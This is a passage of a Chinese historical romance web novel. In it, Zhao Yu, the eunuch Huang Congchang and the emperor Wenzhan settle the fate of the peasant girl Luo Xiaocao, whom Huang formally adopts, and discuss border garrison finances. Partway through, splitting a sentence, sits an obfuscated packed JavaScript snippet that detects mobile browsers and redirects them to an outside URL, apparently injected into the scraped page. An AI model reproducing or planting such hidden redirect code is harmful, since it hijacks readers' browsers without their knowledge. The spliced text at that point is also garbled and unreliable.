“邪性,我以为她和罗金梁是老相好,怎么也会手下容情,没想到这女子做事这么绝。老赵,你说,他们究竟是老相好,还是旧仇敌?” 赵毓,“罗金梁欠的赌债又是怎么回事?” 薛宣平把‘有家赌坊’的事情大致说了。 “我让老六摇骰子放水,在赌桌上把他的账都平了。不过那个玉芳卡着他要钱,他就跑到临街火帮的赌坊去了。人家不跟他客气,几把牌九让他欠了一屁股债,家里的田地和房子都输掉了。哦,好消息是,这一次他没抵押闺女,想必是见到旧情人,也有点人情味儿了?” 狗屁! 赵毓知道,罗金梁有自己的算计,他这一次不抵押罗小草,因为他知道这个女娃可以送进徐总督府卖个大价钱。 不过,…… 赵毓,“他手中那个五十两的官锭是哪儿来的?” 薛宣平以一种‘果然不是你给的银锭’的眼神说,“这我上哪儿知道去!”随后又说,“这种官锭稀罕,少见,他认识的人当中能拿出这东西的人就几个,你都认识,一估摸就不明白了吗?” 赵毓起身,薛宣平也学着他的样子站起来,结果蹲久了,头晕,他连忙扶着大门,像个怀着身子的妇人。 赵大爷一见他们说完话,立马出门,“老爷,赵大妈说今天人多,饭不好做,只炸了酱,让我再去买点面条随便煮煮就能吃饭了。她等了半天了,我再不出门,她要拿擀面杖棒我脑袋瓜子了。” 赵毓一听,连忙让开路,赵大爷腿脚利落的出了门。 后院乱成一团,薛宣平跟着赵毓刚进门,忽然缩回去脚丫子,“老赵,我刚收了几个店,账房们开始盘点,我怕这群王八羔子懵我,我得过去盯着,今天就不在你这里吃了,改天我请你上大铜炉涮羊肉!” 罗小草的亲娘跪在院子当中,像是哭了一会儿,已经累了,就瘫在石砖地上,手中拿着一块布巾正在擦眼。她拉着罗小草,不让她起来,也得跟着她跪在那里。她们旁边站着蹲着还有歪着一群人,据说都是罗家的本家,这次来雍京城是为了罗家母女壮声势的。 赵毓看了看他们,“都饿了吧,饭一会儿就得,今天炸酱面,别客气,多吃一些。”他让罗小草起来,“你领着这群叔伯到后院的饭厅先占地,再去厨房。赵大妈烧了水,你用咱们的泡菜坛子给他们冲点茉莉高末喝。” 随后,他蹲下,在罗老婆的耳边说,“你跟我到书房,和我说说徐家的事。” 那个女人立马不哭了,麻利的从地上起来,布巾用力一抹,像是从未哭过一般。 “我们一进雍京就去找了朱七姐。”罗老婆口齿利索,不太像一个从来没出过家门的北村妇人,“原本想着她连着徐家,这一次孩子他爹被人陷害下了大狱,她能让徐家也出分力。结果,朱七姐告诉我们,徐家反悔了。她说人家徐总督门第清贵,就算是买丫头都要干净的,更不要说买妾了。我们罗家出了这档子事实在丢人,徐家给了五两银子,算人情也算缄口,小草进徐府的事就算掀篇,不能再提了。” “我们本来是无头苍蝇,实在是上天无路,入地无门,可是我婆婆说让我来找您,赵老爷。她说去年夏天见您第一眼就觉得您人善,也有本事,既不是那种任人欺凌的老好人,也不是恶霸。我婆婆看人准,她说找您成,那就准成。” 赵毓都有些哭笑不得。 赵大爷把面条买了回来,罗小草帮助赵大妈在院子中支起来一口大铁锅,烧水,下面。等面条煮好,捞出来,一人一个瓦盆,盛着小山一样的热面,卖力的嗦着,一众人才终于安静了下来。 赵毓打发罗小草母女也赶紧去吃饭,赵大妈给她们两个单独开了小灶,炒了一份雪菜腊肉做浇头。 书房中只剩他一个,他叹口气,安安生生的喝口冻顶乌龙。 黄枞菖拎着一个食盒进来,“祖宗,主子让我给楚相爷赏鹿肉,我正好顺道过来给您捎个食盒。我今天可算长了见识,好家伙,这青天白日朗朗乾坤的,没灾没涝,咱们雍京北城的宅院也能热闹的像开了赈灾的饭铺。” 赵毓打开食盒,里面是四个菜一个瓦罐汤,主食有小馒头和米饭。他正好饿了,拿起筷子认真吃起来。赵大妈给他准备了一份糖蒸酥酪,等他吃完饭就端了进来。她知道黄枞菖来了,就拿了两个碗,可是这位秉笔大太监最近念经,过午不食,只喝水,所以余下一碗酥酪,赵毓想着留给罗小草。小姑娘一般都喜欢甜的东西。 等罗家母女吃完饭,赵毓把事情的来龙去脉也理的差不多了,心中大致有了计较,只是一样事有些蹊跷,“罗大嫂,您知道谁给了罗先生五十两银锭吗?” 闻言,罗家老婆抬眼,同时,手指也微微举起来,指向了赵毓,……,身后的人。 ——黄枞菖。 此时,他正坐在四方木案旁的椅子上,静静喝着茶。 “放心,既然你们来了一趟雍京城,这事,我尽力。” 罗家人得了赵毓这一句“承诺”,饱餐了炸酱面之后,在宵禁之前,拖家带口的出了雍京城。 临走前,赵毓对罗小草说,“先回家,等事情过去,我找人去北村接你。” 赵毓和黄枞菖回到大正宫,发现文湛还在微音殿,依旧在议事。他刚从鹧鸪殿的温泉池子泡出来,头发还是湿的,黄枞菖一边给他擦,一边大致说了一下目前北境的形势。 不太平。 何晋丢城弃地被问重罪下了诏狱,随侯石家满门被圈在雍京城,虽然可以随意走亲访友,却无法出京,这让有关联的人心中惊疑不定。——驻守北境拥有实权的藩镇连着损了两个,实在不是吉祥的征兆。 前几年西北战事平息之后,朝廷停发供养北方“藩镇”军队的“协饷”,同时皇帝下旨逐步剥夺镇守将军们“在驻地便宜筹饷”的权力,扼住进项,致使这些平时花钱大手大脚的“藩镇”们很快就如同一穷二白的小白菜。 其中一个姓苗的四品将军,有世袭的权位,战事起来的时候,在行辕犹如一个土王。吃饭都叫“传膳”,三十二个热菜用上等瓷器装着,冰天雪地中还要吃南方最嫩的鸡毛菜。他随军带着二十几位小姨娘,这些小老婆们又各自带着二十几个使唤丫头,到哪里都是轰隆隆的一窝粉黛,出入那阵仗犹如戏文中的帝王后宫出游!这不,双饷一停,他如今也穷的快要典当小老婆度日了。 “再这么下去,这些藩镇要不就认怂,卸甲回家种白薯;要不就舍得一身剐,要把皇帝拉下马,直接扯大旗,反。”赵毓端着茶盏喝了口热茶,叹口气说,“现在北境那位徐总督担子重啊。哎,我原本想着元熙十三年过去就天下太平了,没想到十四年开春就乱七八糟的事一大堆,烦人,当真烦人。” “这一年一年,日子都是这么过来的。”黄枞菖倒是不觉得如何。 他把赵毓的头发擦半干,赵毓给他剥了几个核桃,“罗家那五十两银子,怎么回事?” “祖宗,我想问问,对于罗家,您到底是怎么想的?”黄枞菖不急着回答,反而问了一句,“单单只是为了一个小姑娘吗?” 赵毓,“你不是能掐会算吗?你觉得呢?” “那个小姑娘是挺好的,我也喜欢,不过,……”黄枞菖不说话了,安静的吃着核桃,手指掰开,一片碎粒一片碎粒放嘴里。 赵毓,“不过啥?” 黄枞菖呲牙乐,“那姑娘已经进了赵府,脑袋上就贴着赵这个字。就凭他徐公子随便一两句话就想把人弄出去,这个口子一开,赵毓就个名头就成筛子了。以后大家会说,跟着赵毓没混头,身边的人都能被拿出去送人情,再不会有人给您卖命,那您在外面可就吃不开喽。” 赵毓不说话,又敲了两个核桃。 黄枞菖,“您让那个姓薛的胖子带着罗金梁去看看玉芳,让他们叙叙旧,得知她现在过的很不好是个警醒,不要再动用罗小草攀附高门的心。我知道您的初衷是这样,只是,您算差了。” 在他看来,赵毓从小宫里长大,他再聪慧,天赋再高,还是有凤子龙孙的一个独特的弱点,——不通世俗人情。 虽然这十年赵毓在边疆做了很多事,认识了很多人,可是那终究是不同的。那里的人情世故是战争中的特殊状态,生与死如此接近,世俗中幽微最不为人知的心思和算计几乎全部成了虚无。 可是雍京这里不同。 “玉芳的事,他们都知道的。” 黄枞菖一粒一粒吃着核桃,慢慢说,“我让人打听过了,玉芳爹死前特别悔。他们家以卖玉芳的钱做底,置办了田地,现在过的不错,玉芳爹病重的时候就想让儿子接她回家。家里多两双筷子,吃不好,还吃不孬吗?可是,玉芳的弟弟压根没有理睬这个茬。玉芳爹和他吵架,骂了半宿,天没亮就断了气。” “这事北村很多人知道,难道他罗金梁是聋子?可是,就算他知道卖女儿进高门不是一件便宜的事,他也不会想着自己闺女以后是这个下场。他总觉得女儿以后能混成名门望族的大老婆。” “普通农家女进总督府怎么可能做夫人?”赵毓摇头,“大郑礼教如此森严。” “差异就在这儿。”黄枞菖说,“同样一件事,一个人和一个人看到的东西天差地别。” “三百年前的白崇简,从一份山楂大蜜丸配方中悟道,开创了雅学,门下走狗众多,成为我大郑这五百年来唯一的圣人。然而更多人,脸蛋子上的那双眼睛看着不像用来喘气的,其实也差不多,瞎,真瞎,一整部《论语》,他们也只能数一下之乎者也的个数。” “您知道罗小草做不了高门的夫人,就是因为礼教已经刻入您的脑子,知道高门这些老爷少爷们买姑娘就跟买畜生没什么两样,可是罗金梁不懂。虽然他们也用彩礼买媳妇,可是女人在他们家生了娃,就算是一家人。他以为罗小草只要能给少爷生个儿子,以后就能成大老婆。” “所以,我想个损招,让他欠债,并且以罗小草抵债。” “而且,……” “今天我在兰叶巷也见到罗家那阵势了,这次的事情,不能让他们舒舒服服的过关,不然,以后祸患无穷。” 赵毓看着他,给了他最后一块核桃,自己拍拍手上的碎屑。 “我买罗小草。”黄枞菖清淡的说,“好好一个闺女卖给太监,这可真是一碗滚烫的油泼辣子,看着好,一口吃下去,径直去半条命。” “我不信罗家其他人和北村那些心思活的人会狠下心走这条路,他们那里毕竟不是我们凉坡,我们那里全是盐碱地,北村风调雨顺,人们只要有一口安乐茶饭就不会对亲骨肉下死手。” 赵毓看着他,他一直知道,这些年,黄枞菖都是一个人。 他曾经提过这件事,却被回绝,…… “黄瓜,我给你物色个人吧,你看得上,她愿意。咱们不缺钱,只是这种事却不能用银子砸,不然,留在身边就是祸害。” “我不缺人。”黄枞菖忽然笑了,“前一阵子,金陵一个候补道到雍京城找门路,他不知道托了什么人找到我,银钱酬谢不在话下,另外说要把她小老婆生的小闺女许给我做小。您瞧瞧,都不敢说要一个明媒正娶的位子,直接说给我做小。我看那个人长的难看,闺女随爹,估计那女子也好看不到哪儿去,没要。” “真心话?”赵毓问他。 南边有一句土话,——表子多、驴子多、候补道台多。 这个职位一般都是非科甲正途出身的人捐来的官位,至于什么时候放实缺,那就得看人,看命,看天了。四川云贵等边陲之地,有些候补官员等了几十年都没有实缺,最后活生生被穷死。想来这位大人也等了很久,如果不是没法子,也不会“对亲骨肉下死手”。 可是,再怎么没法子,他们终究不是凉坡人,千万步,也到不了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728962|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不割舍亲骨肉一家人都饿死的地步。 说什么迫不得已? 这些人,终究,还是把个人的功名利禄排在第一位。 半晌,黄枞菖才说,“那姑娘,虽然是庶出,好歹也是读书人家的小姐,被她爹这么糟|蹋,命苦,我不造这个业。不像这群大人们,这辈子投个好胎,道貌岸然,背后坏事做尽,下辈子不知道是个啥。我还想着下辈子混个全须全尾的人胎,男人女人都成,只要齐整就好。” 赵毓一言不发,黄枞菖抬头,发现他在他看他。虽然是沉默的,可是,他眼睛珠子里面盛着深不可测的静谧与温情。 “祖宗,这么看着我做什么?” “没什么。”赵毓忽然笑了,犹如千树桃花破雪绽放,“就是想这么看看你。” 文湛回寝殿的时候已经过了子夜,他沐浴更衣完毕,一进门,就见赵毓窝在软榻上正在看书。 ——承怡最近也添了爱看书这个毛病。 想来他最近心中也有些事,繁杂,借着看书静静心。 “回来了?”赵毓放下书,“饿不饿?我让黄瓜在外面的小泥炉上炖了鸡汤,你是直接喝,还是下挂面吃?” “下面吧。”文湛说完,外面侍候的黄枞菖赶忙吩咐小宫监准备。 皇帝自己径自到软榻边坐下,拿着赵毓喝了一半水的茶盏,把剩下的东西喝掉了。此时,御前伺候的人才端来刚泡好,还有些烫口的清茶。不一会儿,面汤就端了过来。文湛一看,发现托盘上除了一碗鸡汤面之外,有一个小小的黑陶泥的汽锅,里面熬煮着半只小嫩鸡,旁边点缀着几根西洋参须子。 赵毓说,“这东西不是咱们野山参,那玩意大补,吃了上大火,西洋参性子温凉,冬天吃补补,还能凝神养气。” 夜里,大正宫寝殿中,茶饭热意熏熏,带着香气。 “那些藩镇开始哭穷?”赵毓的声音像是闲话家常,他拿着瓷勺子小心翼翼的盛点鸡汤出来。“西北,北境,还有关外,这些带兵的将军们,哪个指望着双饷过日子?再说,有战事的时候大郑全境征军饷,要老百姓勒紧裤腰带过日子,总是一个正当理由。如今太平了,他们还这样挥霍,让别人吃糠咽菜,那就不地道了。不过,吃惯了山珍海味,回老家吃白菜豆腐,估计他们咽不下去。” “应该不是哭穷。”文湛接过来鸡汤碗,似笑,又有些冷笑,“想来是真穷了。” 他开始低头吃面,已有所指的来了一句,“是谁的元承行封了西北商道,难道他竟然不知道?” 赵毓乐不可支,——他自然知道,自己做的事情,为的就是这个目的。 他一直在西北,熟知走私才能养兵,把这条道堵死,这些骄兵悍将才真正成了小白菜,呃,或者说梅干菜。 他们两个人有一搭没一搭的说话。 赵毓慢慢讲,“其实,西北的乱局最大的根源不是高昌回鹘还有远在冻土之外的匈奴这些外族的兵强马壮,而在于北方边境不清,咱们自己门户不严。” “以长城为界,如果咱们卡死关口,强制与他们互市,咱们拥有的是绝对不容质疑的定价权。他们只要想过冬,想要茶叶粮食棉花还有丝绸,想要活下去,就得用最好的战马,最肥美的牛羊和最上等的皮草换。如果不想换,那么西北、北境天寒地冻,那些人只能熬,熬不过,老天爷就收人。可是,咱们要是肃不清边境,堵不上走私的口子,那些外族人就有喘息的机会,就有和咱们打仗的本钱,而咱们的这些藩镇王侯将军们,就可以养寇自重了。这才是这些人发大财的不传之秘。” 文湛淡淡道,“朝中一些重臣一直说他们是狼,咱们是羊。还说咱们要秉承圣人教诲,不能穷兵黩武,还有,要有天|朝上国的大度,边境的安宁也不需要将士用命,只要让他们称臣,同时供养着他们,不让他们饿着,他们就安分守己了。不过,我听说西疆有很多部族的图腾的确是狼。” “他们是狼?”赵毓说着就笑,“他们撑死也就长了个狼的样子。如果他们真是狼,我们是羊,那为什么我们可以满眼都是‘暮春三月,山野草长,杂花生树,群莺乱飞’;而他们只能在冻土两侧吟唱着‘天苍苍野茫茫,风吹草低见牛羊’?我大郑列祖列宗的武德可不是吃白饭的。” 文湛一直安静听着,此时抬头,用筷子把一小块炖的烂烂的鸡肉喂到赵毓的嘴中,“你呢,最近忙什么?” 赵毓把罗家和徐总督公子的事情大致说了说,“黄瓜已经有了章程,罗家的事情看来还是应该按照他的想法做。我觉得烦心的是,吉王叔的祖产地契还在我手里,我不知道该还还是不该还,也不知道应该怎么还给他。陛下,在您看来,罗小草的爹和吉王谁更短视,谁更贪婪?” “吉王。”文湛说话,一点都不犹豫,甚至连思索都不必。 “我知道你不喜欢他,可是,……” 文湛摇头,“罗小姑娘那位尊亲原本不过普通一农人,家底薄,去年雍京银价一役遭了池鱼之祸,几乎到了一穷二白的境地,不然也不会卖儿鬻女,断绝骨肉之情。他至此孤绝之境,想要翻身唯有放手一搏。” “可是吉王毕竟不同,他有世袭罔替的王爵,祖传的丰厚土地,每年几万两白银的年俸,这样的高爵厚禄依旧不满足,真是,……” 也许觉得吉王毕竟是王叔,所以文湛没有将舌尖上那句“猪狗不如”说出。 他只是说,“我看不上吉王就是这一点,每天装着韬光养晦,以大智若愚为傲,其实他是真欲壑难填,而且还是真愚。” 赵毓,“所以你让他去烧猪肉,眼不见为净?” “我让他去烧猪肉,因为这件事需要宗室王公去做,虽然没有世俗的权位,却有宗室的尊贵,而且不容易出错。” 文湛安静吃面,吞咽下才说,“我虽然自知还没有圣主的德行,却不至于昏聩到以自己的喜好去贬斥王叔,一个名字写在宗室玉牒上的大郑王公。” 他说完,发现赵毓一直看着他,眼神有些古怪。 “你看我做什么?” 方才黄枞菖说赵毓“凤子龙孙”不通世俗人情,现在他面对眼前这个更加“单纯”的皇帝,觉得有些滑稽。 “陛下,您是不是对一穷二白这个词有什么误解?” 皇帝,“……” 罗金梁卖女儿,并不是到了真正吃不上饭的地步,而是在他心中土地比骨肉更值钱。女儿算什么?甚至儿子,老婆都不算什么。折了这一个,只要手中有田产,就不缺老婆,只要有女人,家中就不缺孩子。 土地才是万世根基,子子孙孙,无穷尽。 已经丑正一刻。 帝王寝殿雕花窗外是浓重的夜。 赵毓忽然抬手,顺着文湛握住汤碗的手指轻轻摸了摸,他的手指非常好看,劲瘦有力,却又显得异常名贵,接触到手指肚上的触感是温热的羊脂玉。 “我找军医看过了。”赵毓忽然开口。 “嗯。” “那个毛病,……,已经好了,……” “嗯。” 文湛只是安静的听着,好像没有任何反应,可是他的手指却端不稳手中的碗,汤泼洒了出来,湿了软塌木案上铺着的缂丝。 水渍下是正红色的芍药,此时印在纯黑的底色之上,红艳艳的,像是正在盛开。 105. 105 105 黄枞菖正式“收养”罗小草。 他派人到北村接人回雍京的时候,正好是正月二十九,刮着白毛风。村子的人有人探头探脑,有人窃窃私语,还有几个婶娘嫂子给罗小草塞了几双新做的鞋子,还带着些微的眼泪,“哎,咱们女人,就这个命。” 可能是气氛过于悲怆,罗小草的亲娘一把搂住闺女,心口好像被挖肉一样疼,她原本以为,自己早已经疼的麻木了。 给太监做“养女”,今后这个孩子要面对什么,她想都不敢想。 那些宫奴,不能人道,不算男人,也不是女人,可是偏偏喜欢买女孩子做“媳妇”做“养女”,发起疯来,打骂啃咬是常事。听说,没几年,好好一个女孩子就能被折腾疯掉,也彻底废了。 “不去了。”罗小草的娘咬牙,“咱们再想法子。” “你丫头不去,你男人回不来。”罗家奶奶站在门框后面的石头台阶上,头发苍白,像个田中草扎的人偶,说话的声音都似乎带着白毛风的气息,“家里的田产和地契都没了,我老婆子老了,一根绳子就能一了百了,你怎么办,你儿子怎么办?以后你也学了大槐树那户的玉芳,到雍京糊口去?” 闻言,罗小草的娘一把放开了女儿,用袖子用力擦了擦罗小草的脸,扭身进屋了。 罗奶奶手中拎着一个布包,里面是新煮的鸡蛋和刚从手腕上退下来的绞丝银镯子,一并塞罗小草手中,“别怕,那个人心善,他找的人再怪,也一定不是坏人。以后,自己照顾自己,多吃一些。我每天给你烧香,求菩萨保佑,妮子,你这辈子千万不要再回来了。这里不是你的家。” 那,哪里是我的家? ——凉坡吗? 黄枞菖让人把罗小草带到老家凉坡,开祠堂,正式把她写入族谱当中,改名为黄槿。 “你们家的族谱能写姑娘的名字?”赵毓问。 他的眼睛一直盯着眼前这个全新的,而且新的甚是可疑的号称供奉着黄氏‘祖宗十九代’的祠堂。供案上面十几层牌位都散发着清新的白杨木的味道,刷的桐油还没干,像是昨夜刚赶工做出来的一般。 “能多写一个名字就多写一个。”黄枞菖笑着说,“人多力量大,显得我们家有望族的气派。” 晌午的开祠堂仪式异常隆重。 有些人甚至从雍京送过来贺礼。除此之外,十里八乡的叔伯爷孙,外加七大姑八大姨都赶着骡子车过来凑热闹。 黄枞菖发达后从来很少回老家,就算回来,也一贯是锦衣夜行,像是盗贼偷运一些好东西回乡悄悄藏起来。所以,很多人有很多年没有见过他,有些人甚至讶异他还活着。 这一次这么折腾,是因为他有了‘后’,即使这个‘后’颇为偷工减料,不能承继香火,不过对于一个阉人来说,还能妄求什么别的。以后他死,有人给他摔瓦盆,他不用做孤魂野鬼,这已经是最大的幸事了。 流水席开了三天,黄枞菖恨不得把肘子塞进每个人的嘴巴里。 赵毓让人把罗小草送回雍京,二月二他需要送她去谢家私塾。村口,他对她说,“原本这些天要给你看些书,省的冷不丁一下子到学堂上发懵。不过最近事情多,也就耽搁了。你回兰叶巷,好好收收心,我让你姐,哦,就是我闺女,给你准备了文房四宝,你也得熟悉熟悉,看看怎么用。” “还有,我拜托了赵大妈,让裁缝上门,给你做新衣服。谢家书院里面全是雍京城的贵女,虽说谢师不拒平民,可是去的所谓平民也都是富商巨贾家的小姐。咱们穿的太朴素,容易招惹不必要的麻烦。” 罗小草听着直点头,其实她现在还有些混乱,因为这些天她过的实在混乱。 她忽然又有了一个爹,不过这个爹没有跟她说过话,一直是下人照顾她,而她那个新爹忙着去塞肘子。当然,她作为正式被写入族谱的闺女,也被塞了不少肘子,她今天一早什么都没吃,还是很撑。 她就这样混乱中,被人送回了雍京,兰叶巷。 赵府中,赵大妈已经切好羊肉,准备了大白菜,粉丝,冻豆腐,绿豆杂面条,还有后街的芝麻烧饼,准备吃涮锅子了。 一切,恢复了原本的模样。 似乎,她这些天的经历就像一场噩梦,眼睛一睁,天就亮了,噩梦褪去没留半分痕迹。 不! 有痕迹。 她有了一个新名字,——黄槿。 这是一种花树。 生性强健,耐旱,生命力强悍,带着野蛮的力量。可以定风沙,可以耐朽蚀,可以在盐碱地、沙漠中开出最美的黄花。 就是她吗? 赵毓和黄枞菖却还需要在凉坡多住几天。 “楚蔷生的痕迹都抹干净了。”黄枞菖的声音极低。 他的屋子周围都是空地,没法藏人,墙面也都是用三尺二的石砖堆砌而成,厚重,间隔声音,他们在屋子里面说话,外面什么都听不见。饶是这样,他们也在屋子周围转了七八圈,彻底确定无人的时候,再细细讲话。 “那就好,明天一早,咱们就回京。”赵毓点点头。 黄枞菖,“难道真有人要查楚相爷的老底?” 赵毓,“老崔的人探查出来,有人过来凉坡问过蔷生娘亲的事。你也知道,宁淮侯先帝密探出身,他闻事儿的灵敏程度,就连如今的北镇抚司都要甘拜下风。” 楚左相考科举入的籍是假的,他娘身家不清白,根本没资格下考场。当年他买了一个老书生的户籍,一出手就是进士及第,这才成就了他一生的权位仕途。楚蔷生身世的曲折几乎没人知道,因为楚相的亲爹的确是三湘名门。 如今朝野尽知楚相生在凉坡,想当然认为当年他亲爹游学至此与他娘成亲,其实这都是虚的。他娘与他爹的情分只是一段露水姻缘,他爹在他没出生之前就逃了。如果不是后来楚蔷生自己拼出来的前途,他那个名门之子的亲爹早就不记得楚相娘亲这么一档子事儿。 楚蔷生娘大姑娘未婚产子,日子艰难,为了养活他吃尽苦头,什么事都做过。这种老底一旦被政敌挖出来,左相权位尽毁。 赵毓说,“我来之前去过相府,问明白了他在凉坡还是什么亲戚,那个老书生早已故去,没有亲人没有后人,倒也干净。总之,一定要在对手咬出这件事之前,把所有的痕迹抹平。这次的事情不简单,虽然不是波涛巨浪,来势汹汹,却暗流涌动,我觉得,应该不止针对楚相。” 黄枞菖听着,点点头。 晚上黄老娘亲手熬了大碗菜,筷子插|了八个开花大馒头给赵毓他们端过来,“吃,多吃,多吃。” 她认得赵毓。 这些年,赵毓来过凉坡两次,为了送银子让黄家买地。 黄老娘不知道赵毓究竟是谁,也不知道他同自己儿子的关系,她只是觉得这个人好,对自己好,对自己家人也好。她原本以为赵毓同自己儿子一样,也是净身之后在宫里当差。可是当他们聊天的时候,赵毓说自己家里有老婆孩子的时候,黄老娘才知道,她想差了。对于赵毓究竟是谁,她想来想去都想不明白,后来,她索性不想了。他们家的日子好不容才起来,她还想活的长久一些,多享福,把一辈子遭的罪都抹去。村里的老人儿都知道,人要想活的长,就不要想太多。 “老太太,好几年没见了,您老看上去,怎么……”赵毓端过来大碗,看了看黄老娘,总觉得哪里不太对劲,可是要让他说,这一时半刻,他也说不上来。于是含糊问了一句,“您老这些年过的好呀?” “我好,我挺好的。”黄老娘知道他们两个还有要紧事说,把饭菜端来,也就心满意足,“你们趁热吃,我去给你们看着锅,火上还熬着米汤。” “你娘怎么看上去金灿灿的?”等老太太出屋,赵毓赶忙问黄枞菖,“这是我眼花还是怎么地,我怎么觉得你娘今天一身佛光普照的祥瑞之气?” “她镶了八颗金牙!” 黄枞菖掰过一块馒头,“我娘一见您来,乐的嗓子眼都开了,那堆金牙在油灯的照耀下,可不就金光闪闪、瑞彩千条嘛?” “……” 半晌,赵毓才说,“镶金牙也挺疼的,你娘这是图啥?” “我在雍京买了小宅子,开春之后,想接爹娘到京里住一个夏天。”黄枞菖说道,“我娘觉得自己一乡下老太太,长的贼难看,怕到了雍京给我丢人,就受了后村她堂姐的二姥姥的撺掇,先把自己拾掇拾掇。首先,她就给自己补了牙。” 赵毓,“你娘堂姐的二姥姥还活着?” 黄枞菖,“那娘们儿辈分高,其实年纪不大,只是个半老徐娘。” “哦。”赵毓也不知道说啥,开始安静的吃饭。一口馒头,一口大锅熬菜。 黄枞菖像是自言自语,“我娘镶了八颗金牙在京里算是一个笑话。还有其他笑话。酒醋面局的张衾得了总领太监的差事,算是新红的红人,他立马儿在南城买了宅子,还从窑子里面买了一个娘来。” 赵毓,“呃,……” 黄枞菖,“张衾是静海县人,她娘常年在海边,风吹雨打,长的比较皱,他嫌弃他娘不好看,给他丢人,就不让他娘进京。他买的这个娘之前也红过,虽然老了,可是风韵犹存,放在宅子里面也是一景儿。那些读书人说我们刑余之人性子古怪,原本我不服气,现在仔细一想,也是挺古怪的。” 赵毓忽然说,“这些话是谁说的?” 黄枞菖,“翰林院的温臣藻和御史台的顾向坤。” 赵毓,“温臣藻门第清贵,他们家子息却不旺,他嫡子生了长孙之后,他秉承君子抱孙不抱子的传统,每天抱着长孙在后花园乱转。从他们家第三代出世,他最喜欢的事情就是让孙子在他肚脐上撒尿。他还说童子尿最养人,至于他自己喝过没喝过,太恶心,我就没继续打探。” 黄枞菖,“……” 赵毓,“至于这位顾御史嘛,……” “他儿子是上一科三鼎之一的顾复粹。这位探花郎至今没有入官场,因为他抽羊癫疯。顾家探花一直养在深闺,当年媒人踏破门槛,都铩羽而归,所有人只道他们家功课紧的狠,顾少爷从来不露面也是因为前途至关重要。这不,一发榜,顾御史就做主为顾探花寻了一门好亲,是江左名门钱宗海的长女,新媳妇一进门,才知道丈夫一天要抽三顿羊癫疯,根本不能同房。据说,这位御史想爬灰,却被儿媳妇带的烧火婆子给废了。当然,这只是不太靠谱的传言。” “黄瓜,这两位的性子是古怪呢,还是不古怪呢?” “这个不古怪的标准,是按照公序良俗,还是见人下菜碟?只要不是他们’自己人’,就党同伐异?” 有些“读书人”自认为手握古今正义,眼高于顶,空疏迂阔,点评天下,竟然是谁也瞧不起。 大郑帝王们生于深宫之中长于妇人之手,脑子中必定塞满了脂粉味道的不学无术。司礼监的大太监们是权阉,不论政绩,就算青史留名,也定然遗臭万年。 雍京权贵肉食者鄙,甚至不如江南瘦马雅正。赵毓这样的则是酒囊饭袋。崔珩那样的俗不可耐。楚蔷生失于汲汲营营。 还有那些喜欢他们字画,并且出手购买的豪族大户们都是冤大头。好不容易有了一些踏实做官做实事的大人们则被讥讽为“风尘俗吏”。至于天底下那九成多不识字的人,则是贱民奴仆。 最后,赵毓说,“实在没必要想太多,给自己添堵。黄瓜你又不是不知道,每年承天殿的柱子,都有几个’铁骨铮铮’的大人们去撞,全天下就他们’先天下之忧而忧’,只要不听他们的夸夸其谈,陛下就是桀纣暴虐之君,我大郑立马亡国灭种。圣上若是为这种事堵心,早就一口血喷出来,挂在太液池边的歪脖树上,成咸鱼干了。” ——呃,这么想一想,其实陛下的肚腹中当真有一整个运河码头。 回到宫中,他同文湛狠狠折腾了一夜,寝殿上高悬的蔓藤莲花顶差点被掀翻。第二天,不要说起身下地,赵毓连翻身都困难。 文湛披衣下地,用木盘端了温茶过来,轻轻喂他喝下去,润润喉。 几乎残废的赵毓偏还要伸手去扯文湛的衣袍,一只手搁在皇帝被扯开衣襟之后已然赤|裸的肚腹之上,十分不老实。 文湛抓住那只爪子,柔和的握着,“怎么了?” “陛下。”赵毓笑了起来,“我想摸摸,您这个比能撑船的宰相肚腹还要宽的运河码头肚腹。全天下独此一份,好珍稀。” 硬,武人的劲瘦,像血肉铸造的利刃。 只不过,…… 咕噜噜声音还是不可抑制从肚子中响起。具有圣主气息的文湛陛下毕竟也是人生父母养的,自然,也会,饿。 早膳是炖的很软的翡翠鸡茸羹。 赵毓一口也吃不进去,他其实非常累,只是和文湛闹了几下就又睡熟了,等到再醒,已经快掌灯。 额头上贴着一只手。 他闭着眼睛就捏过来,放在嘴唇边上亲了一下。 皇帝的声音,轻笑着问,“如果不是我,你这样岂不是很唐突?” 赵毓笑着没说话,手握着文湛的手,慢慢从床榻上爬起来。文湛又喂了他一盏温茶,他喝完有些精神抖擞,于是手又不安分的摸到了文湛的肚腹。 “陛下,您天生法严量窄,现在变得这么大度,修炼秘籍是啥?” “除了你,没有人说过我气量狭窄。” 文湛把他揪住,让他安分一些,随后给他穿了两层衣袍,再让他穿好加了驼绒的鞋子,包裹的暖暖的,这才和他一起,一步一步走出殿门。外面依旧天寒地冻,远处迎春树却有细的花芽冒出来骨朵。 赵毓,“黄瓜收养了小草,还给她改了名字,叫黄槿。开春之后,我在兰叶巷中也种一株黄槿,等它长高开花,也应该是这样的黄花。对了,文湛,你说,她们去谢家读书,小草的名字要不要也改一下?改了以后,她就和过去断了关系,以后在雍京地面混,就要顶着新名号了,这是好事,还是不好的事呢?” 文湛看了他一眼,“换了名字算大事,你和谢家说一声。” 赵毓想了想,点点头,“嗯。” 半晌,他心中好像想到些什么,但是这种感觉细若游丝,此时夜幕垂下,风在御园游荡,把赵毓脑子中的那点东西一下子吹散了。 二月初一。 赵毓专门找崔珩借了一辆马车,还有一个车夫,拉着赵格非和罗小草去谢家私塾。 马车的轱辘都包裹了厚重的牛皮,车厢下面也垫着雍京制造局用黑铁长丝弯曲而成的绷簧,所以,这辆车子压在路面上,一点都不颠簸。并且顺着车子的行驶,带着一丝摇摇晃晃的悠闲和洒脱。 两个小姑娘穿戴整齐,各自手边一个布包,里面是一式两份的文房四宝。 谢家书院在北城,一个种满了桂树的园林。这里应该很老了,与大正宫一样,可以凝结时间。它的石砖上蒙着数百年的印记,而建筑中的所有木材全部是很难得很罕见的巨木,出自贵州边陲深山中。 正门上挂着一个木匾。 